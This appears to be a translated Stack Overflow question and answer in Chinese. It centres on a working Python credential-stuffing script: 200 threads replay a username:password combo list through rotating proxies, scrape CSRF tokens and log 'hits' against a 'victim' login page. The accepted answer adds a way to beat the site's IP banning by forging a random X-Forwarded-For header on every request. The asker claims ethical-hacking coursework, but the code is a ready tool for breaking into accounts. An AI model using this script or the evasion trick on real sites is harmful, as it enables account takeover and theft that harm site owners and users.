使用Python请求库

时间:2017-07-10 07:41:43

标签: python asynchronous proxy web-scraping python-requests

作为道德黑客阵营的一部分,我正在完成一项任务,我必须使用代理在网站上发出多个登录请求。为此,我想出了以下代码:

import requests
from Queue import Queue
from threading import Thread
import time
from lxml import html
import json
from time import sleep
global proxy_queue
global user_queue
global hits
global stats
global start_time


def get_default_header():
    return {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
        'X-Requested-With': 'XMLHttpRequest',
        'Referer': 'https://www.example.com/'
    }


def make_requests():
    global user_queue
    while True:
        uname_pass = user_queue.get().split(':') 
        status = get_status(uname_pass[0], uname_pass[1].replace('\n', ''))

        if status == 1:
            hits.put(uname_pass)
            stats['hits'] += 1

        if status == 0:
            stats['fake'] += 1

        if status == -1:
            user_queue.put(':'.join(uname_pass))
            stats['IP Banned'] += 1

        if status == -2:
            stats['Exception'] += 1

        user_queue.task_done()



def get_status(uname, password):
    global proxy_queue
    try:
        if proxy_queue.empty():
            print 'Reloaded proxies, sleeping for 2 mins'
            sleep(120)

        session = requests.session()
        proxy = 'http://' + proxy_queue.get()
        login_url = 'http://example.com/login'
        header = get_default_header()
        header['X-Forwarded-For'] = '8.8.8.8'
        login_page = session.get(
            login_url,
            headers=header,
            proxies={
                'http':proxy
            }
        )
        tree = html.fromstring(login_page.text)
        csrf = list(set(tree.xpath("//input[@name='csrfmiddlewaretoken']/@value")))[0]
        payload = {
        'email': uname,
            'password': password,
            'csrfmiddlewaretoken': csrf,
        }

        result = session.post(
            login_url,
            data=payload,
            headers=header,
            proxies={
                'http':proxy
                }
            )

        if result.status_code == 200:
            if 'access_token' in session.cookies:
                return 1
            elif 'Please check your email and password.' in result.text:
                return 0
            else:
                # IP banned
                return -1
        else:
            # IP banned
            return -1
    except Exception as e:
        print e
        return -2

def populate_proxies():
    global proxy_queue
    proxy_queue = Queue()
    with open('nice_proxy.txt', 'r') as f:
        for line in f.readlines():
            proxy_queue.put(line.replace('\n', ''))


def hit_printer():
    while True:
        sleep(5)
        print '\r' + str(stats) + ' Combos/min: ' + str((stats['hits'] + stats['fake'])/((time.time() - start_time)/60)),


if __name__ == '__main__':
    global user_queue
    global proxy_queue
    global stats
    global start_time


    stats = dict()
    stats['hits'] = 0
    stats['fake'] = 0
    stats['IP Banned'] = 0
    stats['Exception'] = 0
    threads = 200
    hits = Queue()
    uname_password_file = '287_uname_pass.txt'
    populate_proxies()
    user_queue = Queue(threads)
    for i in range(threads):
        t = Thread(target=make_requests)
        t.daemon = True
        t.start()
    hit_printer = Thread(target=hit_printer)
    hit_printer.daemon = True
    hit_printer.start()
    start_time = time.time()
    try:
        count = 0
        with open(uname_password_file, 'r') as f:
            for line in f.readlines():
                count += 1
                if count > 2000:
                    break
                user_queue.put(line.replace('\n', ''))
        user_queue.join()
        print '####################Result#####################'
        while not hits.empty():
            print hits.get()
        ttr = round(time.time() - start_time, 3)
        print 'Time required: ' + str(ttr)
        print 'average combos/min: ' + str(ceil(2000/(ttr/60)))
    except Exception as e:
        print e

因此,预计会通过多个线程在网站上发出许多请求,但它无法按预期工作。在几个请求之后,代理被禁止,它停止工作。由于我在使用它之后将其丢弃,因此情况并非如此。所以我认为这可能是由于以下其中一个

  1. 尝试使用多个会话发出多个请求时,它无法保持不支持异步的不同性。
  2. 受害者站点根据其组禁止IP,例如,在收到来自任何132.x.x.x IP的多个请求时禁止从132.x.x.x开始的所有IP
  3. 受害者网站正在使用“X-Forwarded-for”,“Client-IP”,“Via”或类似标头等标头来检测原始IP。但似乎不太可能,因为我可以通过浏览器登录,没有任何代理,并且它不会抛出任何错误,这意味着我的IP在任何意义上都没有暴露。
  4. 我不确定天气我在线程部分或请求部分出错,任何帮助都表示赞赏。

1 个答案:

答案 0 :(得分:0)

我已经弄明白问题是什么,多亏了@ Martijn Pieters,像往常一样,他是一个救生员。

我使用的是精英级别代理,受害者网站无法找到我的IP地址,但是,它使用X-Forwarded-For来检测我的根IP地址。

由于精英级代理不公开IP地址并且未附加Client-IP标头,因此受害者可以检测到我的IP的唯一方法是使用X-Forwarded-For中的最新地址。此问题的解决方案是每次发出请求时将X-Forwarded-For标头设置为随机IP地址,该请求成功欺骗受害站点以使其相信请求是合法的。

header['X-Forwarded-For'] = '.'.join([str(random.randint(0,255)) for i in range(4)])